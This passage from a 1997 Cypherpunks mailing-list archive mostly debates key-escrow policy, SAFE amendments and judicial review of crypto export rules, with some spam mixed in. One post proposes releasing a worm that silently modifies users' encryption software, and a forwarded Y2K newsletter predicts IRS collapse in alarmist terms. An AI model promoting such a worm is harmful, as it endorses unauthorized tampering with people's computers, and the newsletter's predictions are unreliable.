Message-ID: <199709172231.RAA04529@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

SSZ has been down the last few hours because of a non-functioning ISDN line.
Seems to be back up now.

On with the show...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 18 Sep 1997 05:57:11 +0800
To: cypherpunks@Algebra.COM
Subject: Re: National Security Committee amendments to SAFE
Message-ID: <199709172141.RAA12455@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:15 PM 9/17/97 -0400, Carl Ellison wrote:
...
>I take it this last sentence is intended to kill Bernstein, Karn and Junger
>and any other cases we might try to bring.  Correct?
>
>Is anyone starting a campaign to get congressfolks to kill both McCain-Kerrey
>and the amended SAFE?
...
I sent an e-mail to my representative, Mr. J. C. Watts Jr.  Regrettably, he
is on the national security board, so I don't hold out much hope of
converting him.
I presented him, however inelegantly my words, with the currently popular
housekey escrow with the IRS.  I also presented another of security cameras
in everyones homes for looking in occasionally.  Finally I asked that he
watch 1984 and warned him about not watching it in the company of minors.
Maybe he'll watch 1984, BECAUSE it has nudity, though.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Thu, 18 Sep 1997 05:51:09 +0800
To: cypherpunks@Algebra.COM
Subject: Biological Warfare
Message-ID: <199709172143.RAA12527@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



I came up with an idea for fighting GAK.  Biological warefare.
This is a tried and true formula for war.
The Europeans used it to great effect against the Native Americans in the
form of Rabies and Smallpoxs.
The Europeans even used a form of it even earlier, throwing the rotting
corpses of dead horses into beseiged cities to spread desease.
The more modern chemical warefare has been used in both world wars and
possibly by Saddam Hussain during the Gulf War.
What I propose is a virus.
For GAK to work, there have to be lines of code in the encryption program to
give the government access.
It has been commented here that anyone who can get the source code can
comment those lines out.
Let's be frank, very few will have that option.
However, a software patch could be made that commented out the offending
code of any given product.  Perhaps also altering some visible part of the
program so that you know that your conversations are now secure.  Perhaps
the addition of a small ascii character to the corner of the screen.
The program that delivers the patch could be made in the form of a rather
innocuous computer virus.  Or, if you prefer, a worm.  This way, the program
can travel the same highways of silicon that the GAKked messages travel to
deGAK the software that it targets whenever it encounters it.
Give the software a relatively short lifespan, on the order of a year or so,
before all copies check thier date and decide to self destruct.  No need for
the virus if the software has been upgraded.  Then you'd need a new version
of the virus.

The project would be a large one as persons would have to get ahold of the
source.  Probably through decompiling it and figuring out what the now
undocumented source does at each step.  The actual virus would be easy to
code by comparison.
This should not preclude fighting the onset of GAK, rather the functional
incorporation of GAK.  What is the government going to do with 50,000
americans who have been using unGAKked software because they didn't know
that it had been infected?
Keep the visual clue as small as possible, maybe an extra period in a line
of periods.  That way an argument can be made for ignorance of the crime.
That is all.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: f_estema@alcor.concordia.ca
Date: Thu, 18 Sep 1997 06:11:20 +0800
To: Ben Cox <cox+@transarc.com>
Subject: Re: National Security Committee amendments to SAFE
In-Reply-To: <v03110709b045fae56b41@[158.98.7.94]>
Message-ID: <Pine.OSF.3.96.970917175939.16243A-100000@alcor.concordia.ca>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 17 Sep 1997, Ben Cox wrote:

> >I take it this last sentence is intended to kill Bernstein, Karn and Junger
> >and any other cases we might try to bring.  Correct?
> 
> How could that possibly be binding?  Anything the court system thinks is
> subject to judicial review is subject to judicial review.

Didn't Patel rule late last year that that sort of restriction was
nonsense? 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven Bellovin <smb@research.att.com>
Date: Thu, 18 Sep 1997 06:20:36 +0800
To: Ben Cox <cox+@transarc.com>
Subject: Re: National Security Committee amendments to SAFE
Message-ID: <199709172209.SAA21905@postal.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain



	 Carl Ellison says:
	 >>Decisions made by the Secretary of Commerce with the concurrence of 
	the
	 >>Secretary of Defense with respect to exports of encryption products 
	under
	 >>this section shall not be subject to judicial review.
	 >
	 >I take it this last sentence is intended to kill Bernstein, Karn and 
	Junger
	 >and any other cases we might try to bring.  Correct?
	 
	 How could that possibly be binding?  Anything the court system thinks 
	 is subject to judicial review is subject to judicial review.

I'm sure one of the real lawyers will add a lot more detail.  However...

The way something can be beyond judicial review is if it's purely an
executive branch function.  You can sue, of course, but in order to
overcome that argument you'd have to show that either the function
wasn't executive branch-specific, *or* some other constitutional right
is being violated.

To see how a judge can rule on such an issue, have a look at the trial
court's opinion in the Karn case.  You can find that opinion at
http://venable.com/oracle/oracle7.htm, according to Karn's page (I was
unable to confirm that link just now).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "D.S.McLean" <ranger90@MNSi.Net>
Date: Thu, 18 Sep 1997 14:22:57 +0800
To: <cypherpunks@toad.com>
Subject: "The Life And Times Of One Average Man"
Message-ID: <18161.235690.77236933 cypherpunks@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



 Dear Friend :    I appreciate your taking the time to look at what I have to offer. This 
mail message is for the sole purpose of showing people how I can can help them;     
NOT with money, fame, or building their front deck.

 I am an average person like many of you, I have no special powers and I don`t 
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 I will be straight forward and quite frank with you. I have written a book about many 
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I offer the reader to see and share in the experiences that I myself faced as both a 
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 For me life began as it would for many other children growing up in what seemed to 
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It was not long before I encountered a life shattering injury that change my life, as 
well as the lives of those around me forever.
  
In this autobiography and self-help book I will bring you down the road of my 
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 Most importantly I will share with you the heart ache and pain of a cataclysmic event 
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 In this book are common problems associated with a tragedy such as personal 
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 If you are interested in helping yourself or helping a friend overcome the hardships 
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at :         
       http://www.mnsi.net/~ranger90/index.htm


 Sincerely, D.S.McLean,  contact me for more information at:  ranger90@mnsi.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 18 Sep 1997 12:33:09 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: The great GAK crack (making GAK economically impossible)
Message-ID: <3.0.32.19970916210354.006cecd8@best.com>
MIME-Version: 1.0
Content-Type: text/plain



This seems to ignore a possible worst-case scenario, in which the only
products which are ultimately approved wrap the key using a special law
enforcement key, for example.  If the Powers that be can mandate "escrow"
--- really GAP, Gov't Access to Plaintext --- then it can be mandated to
take a particular form that is defined to be tractable.

At 05:25 PM 9/15/97 -0700, Tim May wrote:
>
>At 8:41 AM -0700 9/15/97, nospam-seesignature@ceddec.com wrote:
>>If I have to GAK my keys, and there then exists a pgp-gak, then we simply
>>recruit the same CPU power that generated the millions of DES keys to just
>>run pgpk-gak with the shortest keylength and send billions of keys to the
>>GAKserver each week.  Many from out of the US if pgp-gak becomes available
>>there.
>>
>>My test software uses a loop that generates a new pair every few seconds
>>on a pentium (and found some very obscure bugs).  I would be required to
>>send all those to the gak.gov.  If they really want them...
>>
>>What it probably means is the govenrment will issue keys or have to
>>license people to create them.
>
>"There ain't no such thing as free escrow."
>
>Some fee will be collected to register keys. "To defray costs" (never mind
>that the government is the party _requiring_ the damned escrow!).
>
>This will stop the "flooding attacks" which a free key escrow system would
>generate. It will also, sadly for us, put an end to many applications where
>keys are generated quickly, transiently, and on an ad hoc basis. There
>simply will be no time to register the keys, and the $10 (or whatever)
>processing fee will be unacceptable for these applications.
>
>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 18 Sep 1997 12:35:49 +0800
To: Michael Wilson <cypherpunks@Algebra.COM>
Subject: Re: Escrow system design query
Message-ID: <3.0.32.19970916211744.006cecd8@best.com>
MIME-Version: 1.0
Content-Type: text/plain



There is no one "key escrow backbone network"
There's a link on my page @ www.best.com/~geeman to the Key Recovery
Demostration Program, and 
the infrastructure study task group ... have a look there at what's going on.

At 08:03 PM 9/14/97 -0400, Michael Wilson wrote:
>
>Does anyone know of a solid document out there in the web that actually
>describes the proposed key escrow backbone network?  After wading through
>considerable junk in the search engines (my, but the net is wordy on the
>topic), I didn't turn up anything that looked like architecture.
>MW
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 18 Sep 1997 14:24:07 +0800
To: cypherpunks@toad.com
Subject: New Computer Security Act
Message-ID: <1.5.4.32.19970918020421.006952c4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The Computer Security Enhancement Act of 1997 (HR1903)
is intended to replace the Computer Security Act of 1987.
It redefines the role of NIST in meeting federal computer security 
and encryption requirements through cooperation of industry. 
Public use of encryption is also addressed in the bill.

Two lengthy reports on the bill have been issued recently, both
of which provide overviews of the current encryption debate.

House Report 105-243, published on September 3, provides a 
detailed analysis of the bill, hearings held, floor remarks and 
mark-ups since introduction:

   http://jya.com/hr105-243.txt  (115K)

And one published today includes recent floor remarks on 
encryption, mostly supportive of public use:

   http://jya.com/hr1903-floor.htm  (44K)

One point of contention is the evaluation of foreign encryption.
The original bill put that responsibility on NIST, but the latest version
deleted that and leaves the task to BXA (and unnamed others).
Moreover, there's dispute over committee jurisdiction for other 
provisions.

Information security now attracts the swarm, with encryption the 
moths' beacon.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 18 Sep 1997 11:20:55 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ Test [No Reply]
Message-ID: <199709180324.WAA07505@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Check Check

Test

No Reply





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 18 Sep 1997 13:46:16 +0800
To: cypherpunks@cyberpass.net
Subject: GAK over GAP
In-Reply-To: <3.0.32.19970916210354.006cecd8@best.com>
Message-ID: <v03102800b0466cb58d6a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:07 PM -0700 9/17/97, geeman@best.com wrote:
>This seems to ignore a possible worst-case scenario, in which the only
>products which are ultimately approved wrap the key using a special law
>enforcement key, for example.  If the Powers that be can mandate "escrow"
>--- really GAP, Gov't Access to Plaintext --- then it can be mandated to
>take a particular form that is defined to be tractable.

By the way, I hope this "GAP," or "government access to plaintext," term
does not spread too widely. (A couple of people were using it at the
Saturday Cypherpunks meeting.)

While perhaps technically correct, it loses some of the simplicity of the
"government access to keys" meme. And people already understand what "keys"
are...trying to explain "plaintext" to lay audiences is another barrier to
getting our point across.

Besides, I'm not entirely convinced that the proposed versions of unSAFE
won't also give access to keys.

So I suggest we stick to GAK. It also has the right onomotopoetic
etymology, which GAP surely does not have.

--Tim

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Thu, 18 Sep 1997 13:49:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: National Security Committee amendments to SAFE
In-Reply-To: <v03110709b045fae56b41@[158.98.7.94]>
Message-ID: <v03007801b046527c563f@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



>At 2:24 PM -0700 9/17/97, Ben Cox wrote:
>>Carl Ellison says:
>>>>Decisions made by the Secretary of Commerce with the concurrence of the
>>>>Secretary of Defense with respect to exports of encryption products under
>>>>this section shall not be subject to judicial review.
>>>
>>>I take it this last sentence is intended to kill Bernstein, Karn and Junger
>>>and any other cases we might try to bring.  Correct?
>>
>>How could that possibly be binding?  Anything the court system thinks is
>>subject to judicial review is subject to judicial review.

This is not entirely correct.

I haven't thought about this for a while, that is, since we passed this
hurdle in Bernstein in April '96 -- how time flies when you're fighting
State, Commerce, NSA, and Justice.  IEEPA, as yet, lacks a preclusion
provision; they'll stick one in if they can.

We faced the issue under AECA/ITAR; 22 USC Sec. 2778(h) is designed to
preclude judicial review of export decisions.  I argued that Bernstein's
case nonetheless could be heard, because:  (i) he was challenging the law
itself, not a licensing decision; (ii) he had a constitutional claim.
Judge Patel took the latter route.

It is almost a contradiction in terms to say that a constitutional Q can't
be heard by a court.  The Supreme Court has made it difficult to preclude
judicial review of constitutional claims -- we relied on Webster v. Doe,
involving a discrimination claim against CIA, and CIA had a decent case
that the DCI has unreviewable discretion to terminate someone.  Judicial
review wasn't precluded.

The federal courts are, however, courts of limited jurisdiction.  While the
Supreme Court is built into the Constitution, its appellate jurisdiction is
greater than what Article III specifies.  Moreover, the lower federal
courts exist because Congress created them - they have the jurisdiction
that Congress set in the various Judiciary Acts.  There are nasty,
difficult Qs about how much Congress can do with that power.  It's pretty
deep federal court jurisprudence stuff, and one possible answer is that the
state courts are the final line of defense, because they are courts of
general jurisdiction.

But as a practical matter I'd say that Congress would need to amend SAFE
much more even to have a fair chance of precluding judicial review of a
First Amendment claim.  That's one reason why Bernstein is an important
case.

Lee Tien








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dustin@witcapital.com
Date: Thu, 18 Sep 1997 14:24:35 +0800
To: cypherpunks@toad.com
Subject: IPO ALERT: Radcom Ltd. Available through Wit Capital
Message-ID: <199709180433.VAA16946@cygint.cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain






Wit Capital Corporation is pleased to announce that we are able to provide first-come first-serve participation in the following initial public offering as described below:

Issuer:  Radcom Ltd., which develops, manufactures, markets and supports internetworking test and analysis equipment for data communications networks.

Security:  Ordinary Shares

Expected Size of Offering:  2,250,000 shares

Expected Price Range:  $7.50 to $9.50

Lead Underwriter:  Unterberg Harris

If you think you may be interested in this Initial Public Offering available through Wit Capital, please visit http://www.witcapital.com or call (888) 4wit-cap.
You can view, print or download the Preliminary Prospectus from the New Issues Section of our website.  To purchase shares, you must first open an account, which you can do online.

Investing in public offerings is speculative and may not be appropriate for every investor.
As with all of your investments with Wit Capital, you must make your own determination of whether an investment in this offering is consistent with your investment objectives and risk tolerance.
To learn more about the risks of investing in initial public offerings please visit the New Issues Section of our website.

A REGISTRATION STATEMENT RELATING TO THESE SECURITIES HAS BEEN FILED WITH THE SECURITIES AND EXCHANGE COMMISSION BUT HAS NOT YET BECOME EFFECTIVE.
THESE SECURITIES MAY NOT BE SOLD NOR MAY OFFERS TO BUY BE ACCEPTED PRIOR TO THE TIME THE REGISTRATION STATEMENT BECOMES EFFECTIVE.
THIS COMMUNICATION SHALL NOT CONSTITUTE AN OFFER TO SELL OR THE SOLICITATION OF AN OFFER TO BUY, NOR SHALL THERE BE ANY SALE OF THESE SECURITIES
IN ANY JURISDICTION IN WHICH SUCH OFFER, SOLICITATION OR SALE WOULD BE UNLAWFUL PRIOR TO REGISTRATION OR QUALIFICATION UNDER THE SECURITIES LAWS OF SUCH JURISDICTION.




Wit Capital Corporation
Member NASD  SIPC





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 18 Sep 1997 07:15:13 +0800
To: cypherpunks@Algebra.COM
Subject: Summary of FBI talk @ MIT, Sept 10
Message-ID: <199709172310.BAA27739@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Date: 17 Sep 97 17:35:20 -0400
From: Request Admin <request-admin@phx.com>
Subject: Summary of FBI talk September 10, 1997 
To: BBLISA Announce <bblisa-announce@bblisa.org>

###############################################################
Summary of FBI talk held September 10, 1997 7-9p.m. 
Room 395 MIT E-51     ---- HES [Heidi Schmidt]  hschmidt@phx.com 
###############################################################

Note: I did not write down Steves' address but you can get it from the site. :)

Concepts discussed regarding cybercrime....
T.O.E  (Tool, Object, Evidence)

       Tool-- You are used to get to the target
       Object-- You are the target
       Evidence -- Evidence of the crime
C.I.A  ( all pertaining to data and your rights to have the following...)
       Confidentiality of data 
       Integrity  of data 
       Availability of data

The url for 
Subsection 1030. Fraud and related activity in connection with computers
http://www.usdoj.gov/criminal/cybercrime/1030_new.html

This subsection protects three types of computers within institutions:
1) Financial based institutions using computers
2) Governmental based institutions using computers
3) Foreign commerce or Interstate commerce transaction based institutions 
   using computers 


The url for 
Computer Crime and Intellectual Property Section CCIPS
http://www.usdoj.gov/criminal/cybercrime/index.html

Contact information for CSI 
http://www.gosci.com
telephone: 415 905 2370

Since spam and other security issues cropped up as sub topics 
I am mentioning other urls that
may prove helpful in the long run.

Additional sites of interest regarding security and spam:
Spam
http://spam.abuse.net
http://www.cauce.org

Web security
http://www.nmrc.org/faqs/www/

Sage resources (including security)
http://www.usenix.org/sage/sysadmins/sysadmin_resource.html

These are only but a drop on the planet, but they are a start.


###############################################################
The next announcement will be regarding the development of the 
BBLISA web site currently beign hosted at 
http://jthome.jthome.com/~bblisa 
###############################################################
       


Heidi Schmidt
hschmidt@phx.com
UNIX Systems Administrator-Webmistress
The Boston Phoenix Media Communications Group





--
Send mail for the `bblisa' mailing list to `bblisa@bblisa.org'.
Mail administrative requests to `majordomo@bblisa.org'.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Thu, 18 Sep 1997 16:42:38 +0800
To: Carl Ellison <cme@cybercash.com>
Subject: Re: National Security Committee amendments to SAFE
In-Reply-To: <3.0.3.32.19970917161510.03264cb0@cybercash.com>
Message-ID: <199709180834.EAA32547@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Carl Ellison writes:

: >SEC 3. EXPORTS OF ENCRYPTION.
: >	(a) EXPORT CONTROL OF ENCRYPTION PRODUCTS NOT CONTROLLED ON THE UNITED
: >STATES MUNITIONS LIST. - The Secretary of Commerce, with the concurrence of
: >the Secretary of Defense, shall have the authority to control the export of
: >encryption products not controlled on the United States Munitions List.
: >Decisions made by the Secretary of Commerce with the concurrence of the
: >Secretary of Defense with respect to exports of encryption products under
: >this section shall not be subject to judicial review.
: 
: I take it this last sentence is intended to kill Bernstein, Karn and Junger
: and any other cases we might try to bring.  Correct?

That may be the wish, but it is probably not the intent, since the
government already argues that the administrative decision to classify
a ``product'' as an ``encryption product'' is not subject to
administrative review.  That was the case pretty clearly under the
ITAR, though it may not be the case under the EAR.

But in any case this language would not prevent the courts from
hearing constitutional challenges to the regulations themselves or to
their application in particular cases.  So it will not affect the
constitutional claims in Bernstein, Karn and Junger or similar  claims
brought by anyone else, even if it passes.  But it might affect some
of the administrative law issues that are still being raised in the
Karn case.

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Thu, 18 Sep 1997 17:13:47 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: National Security Committee amendments to SAFE
In-Reply-To: <3.0.3.32.19970917150154.00879b70@mail.io.com>
Message-ID: <199709180905.FAA32738@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Greg Broiles writes:

: Congress cannot eliminate challenges like those in _Bernstein_ and _Junger_
: which are challenges to a statutory/regulatory scheme on the grounds that
: it is unconstitutional. The only way to avoid/eliminate judicial review of
: a constitutional challenge to a statute is to amend the constitution
: itself. (cf. the "no offensive flag-burning" amendments which are discussed
: from time to time, which are unconstitutional when expressed as ordinary
: statutes or as administrative regulations, see _Texas v. Johnson_ and _US
: v. Eichman_.) 

I do not want to give Congress any ideas, but there is also the
possibility that they could take away the federal courts' jurisdiction
to hear constitutional questions without amending the constitution.
On the other hand it is possible that the courts would find a way to
hold that that limitation on their jurisdiction is unconstitutional.

Under the first judiciary act the federal courts did not have original
jurisdiction over civil claims arising under federal law (which would
include the constitution).

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 18 Sep 1997 19:34:02 +0800
To: cypherpunks@toad.com
Subject: House Report on SAFE
Message-ID: <1.5.4.32.19970918111440.008235c8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The National Security Committee report on SAFE is
available:

   http://jya.com/hr105-108-pt3.htm  (48K)

This provides discussion of the Weldon-Dellums amendment
and other matters.

The Intel Committee report is due out shortly, which is
designated Part 4.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 18 Sep 1997 23:56:41 +0800
To: cypherpunks@toad.com
Subject: Preparing the Remnant for the far side of the crisis
Message-ID: <v0311070eb046c146ecf3@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



A little fairy tale.

Has a happy ending, and everything...

Cheers,
Bob Hettinga


--- begin forwarded text


Date: Wed, 17 Sep 1997 19:13:41 -0500
From: Bill GL Stafford <springco@arn.net>
Organization: Spring Management Company
MIME-Version: 1.0
To: Robert Hettinga <rah@shipwright.com>
Subject: Preparing the Remnant for the far side of the crisis

Robert;
This is a rather long post.  I wanted for you to see it personally.   It is
important and I wanted to clear it thru you.  If I don't see it posted I
will know
you did not chose to post it.
Best personal regards,
Bill GL Stafford

Began fowarded mail:

>From:             jmcnally@bigdog.fred.net
>Date sent:        Thu, 11 Sep 1997 10:42:20 -0400 (EDT)
>Subject:          REMNANT REVIEW of September 5, 1997
>
>Gary North's
>                              REMNANT REVIEW
>emailbonus:                                       Matt. 6:33-34
>year2000@garynorth.com
>
>           Preparing the Remnant for the far side of the crisis
>
>Vol. 24, No. 9                 590              September 5, 1997
>
>       I am hereby lifting the copyright of this issue of
>       Remnant Review.  This one I want you to send to your
>       friends, neighbors, boss, Congressman, and anyone
>       else who might want advance information on the end,
>       at long last, of the 16th Amendment: vetoed by Year
>       2000 noncompliant computers.  Photocopy it, print it,
>       whatever.  Then visit my Web site for full documen-
>       tation (under "Government"):
>
>THE ULTIMATE TAX REFORM: JANUARY 1, 2000
>
>     What I am about to report will verify what I have been saying all
>year.  If this doesn't constitute proof, I don't know what can persuade
>you.  From this point on, anyone who tells you that the Millennium Bug
>is not a big deal, or who says, "We'll just have to wait and see about y2k,
>there's no need to hurry," simply doesn't know what he's talking about.
>Ignore him.
>
>     On August 21, I stumbled into the most amazing government
>document I have ever seen.  I had read a brief news story about a
>company that had applied for a contract to work as a subcontractor for
>the IRS in a restructuring of its computer systems.  The IRS admitted to
>Congress last January that its $4 billion, 11-year attempt to modernize
>its computer systems had failed.  Here was a follow-up story.  So, I went
>to the company's Web site to find more information.  This led me on a
>merry chase across the Web.
>
>     Finally I landed on the IRS's page -- specifically, its page
>relating to
>its PRIME project.  There were pages of blue links to documents, each
>one with a strange name or the name of a state.  It was not clear to me at
>first what I had discovered.  So, I started clicking links. I found
>nothing that I could understand, link after link: government bureaucratese.
>Then I hit pay dirt: the mother lode, my friends -- what we have been
>waiting for since 1913.  Deliverance.  Free at last, free at last!  THE
>IRS'S MAINFRAME COMPUTERS -- 63 OF THEM, PLUS MICROCOMPUTERS -- ARE ON
>THE BRINK OF TOTAL COLLAPSE.  Yee-hah!
>
>     This amazing admission appears in an innocuously titled document,
>"Request for Comments (RFC) for Modernization Prime Systems
>Integration Services Contractor" (May 15, 1997).  The author is Arthur
>Gross, Associate Commissioner of the IRS and Chief Information
>Officer, i.e., the senior IRS computer honcho.  It was Mr.  Gross who
>went before Congress in January to admit defeat.
>
>     Mr. Gross now says that the IRS is no longer capable of operating its
>own computer systems.  The IRS has over 7,500 people involved in just
>computer maintenance, with a budget a $1 billion a year (Appendix B.
>p. 2), yet they can no longer handle the load.  And so, says Mr. Gross,
>some of them are going to get fired.  You can imagine the continuing
>morale problem that this announcement will cause!  The IS (information
>systems) division will be, as they say, DOWNSIZED.  From now on, the
>IRS must achieve the following:
>
>           . . . shifting the focus of IS management to a
>           business orientation: servicing customers with
>           exponentially increasing technology needs,
>           implementing massive new technology applications
>           on schedule within budget while managing the
>           downsizing of the IS organization
>           (Appendix B. p. 2).
>
>     Do you think that people slaving away in their cubicles, trying to fix
>the Millennium Bug, will respond favorably to this notice?  "Fix it, and
>then you're out!"  Mr. Gross knows better.  So, with this amazing
>document, he calls on private industry to come in and TAKE OVER
>THE ENTIRE IRS COMPUTER DIVISION.  This is what Mr. Gross
>calls "a strategic partnership" (p. 1).  The new partners will have to fix
>the Millennium Bug.  The IRS will give them exactly eight months, start
>to finish: October 1, 1998 to the end of June, 1999.
>
>                     The IRS's Digital Augean Stables
>
>     Perhaps you have had trouble on occasion getting information from
>the IRS about your account.  After reading this document, I now know
>why.   The information is held in what the IRS calls "Master Files" (p.
>4).  These files are held in the Martinsburg, West Virginia, computer.
>This computer receives data sent in by 10 regional centers that use a
>total of 60 separate mainframes.  These mainframes do not talk to each
>other.  Or, as Mr. Gross puts it, they are part of "an extraordinarily
>complex array of legacy and stand-alone modernized systems with
>respect both to connectivity and inoperability between the mainframe
>platforms and the plethora of distributed systems" (p. 4).  This is
>bureaucratese, but I do understand the word, INOPERABILITY.
>
>     The tax data build up in the local mainframes for five business days.
>Then they are uploaded to West Virginia.  This may take up to 10 actual
>days.  Then the Martinsburg computer sends it all back to the regional
>computers in the Service Centers.  Then the information is made
>available to the "Customer Service Representatives" (p. 5), i.e., local tax
>collectors.  The elapsed time may take two weeks.
>
>     But . . . it turns out that the actual source payment documents are
>not sent to the Master Files.  Neither is "specific payment or tax
>information."  This information stays in what the IRS calls
>STOVEPIPED SYSTEMS, meaning stand-alone data bases "which, for
>the most part, are not integrated with either the Master Files or the
>corporate on-line system, IDRS" (p. 5).  Separate tax assessments for the
>same person can appear in six separate systems, and these do not
>communicate with each other (p. 5).  "Further, each system generates
>management reporting information which is not homogeneous, one with
>the other . . ." (p. 7).  To help us visualize this mess, and much larger
>messes, the document includes charts.  These charts are so complex that
>my printer was unable to print out the 116-page document -- probably
>not enough RAM.  I had to get two other people involved to get one
>readable copy.
>
>     I have included one of these charts on the back page, just for fun.
>Go ahead.  Take a quick look.  No need to get out your magnifying glass
>just yet.   Then comes the key admission: "These infrastructures are
>largely not century date compliant . . ." (p. 11).  The phrase "century
>date compliant" is the government's phrase for Year 2000-compliant.  In
>other words, THE IRS'S COMPUTERS ARE GOING TO CRASH.
>Now hear this:
>
>          In addition to three computing centers, (Memphis,
>          Detroit and Martinsburg) the latter of which is a
>          fully operational tax processing center, the IRS
>          deploys a total of sixty mainframes in its ten
>          regional service centers.
>
>          None of the mainframes are compliant, thereby
>          necessitating immediate actions ranging from
>          systems software upgrades to replacement (p. 9).
>
>It gets worse:
>
>          A still greater and far reaching wave of work
>          in the form of the Century Date Project is
>          cascading over the diminishing workforce that
>          is already insufficient to keep pace with the
>          historical levels of workload.  For the Internal
>          Revenue Service, the Century Date Project is
>          uniquely challenging, given the aged and non-
>          century compliant date legacy applications and
>          infrastructure as well as thousands of undocumented
>          applications systems developed by business personnel
>          in the IRS field operations which are resident on
>          distributed infrastructures but not as yet
>          inventoried (p. 13).
>
>     Notice especially two key words: "undocumented" and "inventoried."
>"Undocumented" means there is no code writer's manual.  They either
>lost it or they never had it.  "Inventoried" means they know where all of
>the code is installed.  But it says: "not as yet inventoried."  How much
>code?  Lots.
>
>          The IS organization has inventoried and scheduled
>          for analysis and conversion, as required, the
>          approximately 62 million lines of computer code
>          comprising the IRS core business systems.  With
>          respect to the business supported field
>          applications and infrastructures, however, we do
>          not know what we do not know.  Until central field
>          systems and infrastructures are completed, the IRS
>          will be unable to analyze, plan, and schedule the
>          field system conversion (p. 13).
>
>     I love this phrase: WE DO NOT KNOW WHAT WE DO NOT
>KNOW.  This is surely not bureaucratese.  Now, let's put all of this into
>a clearer perspective.  The Social Security Administration discovered its
>y2k problem in 1989.  In 1991, programmers began to work on
>correcting the agency's 30 million lines of code.  By mid-1996, they had
>completed repairs on 6 million lines (CIO Magazine, Sept. 15, 1996.)
>Got that?  It took five years for them to fix 6 million lines.  But the IRS
>has 62 million lines THAT THEY KNOW ABOUT, but they don't know
>about the rest.  It's out there, but there is no inventory of it.
>
>     Consider the fact that they have not completed their inventory.  The
>1996 "California White Paper," which is the y2k guide issued by the IS
>division of the California state government's y2k repair project, says that
>inventory constitutes 1% of the overall code repair project.  Awareness
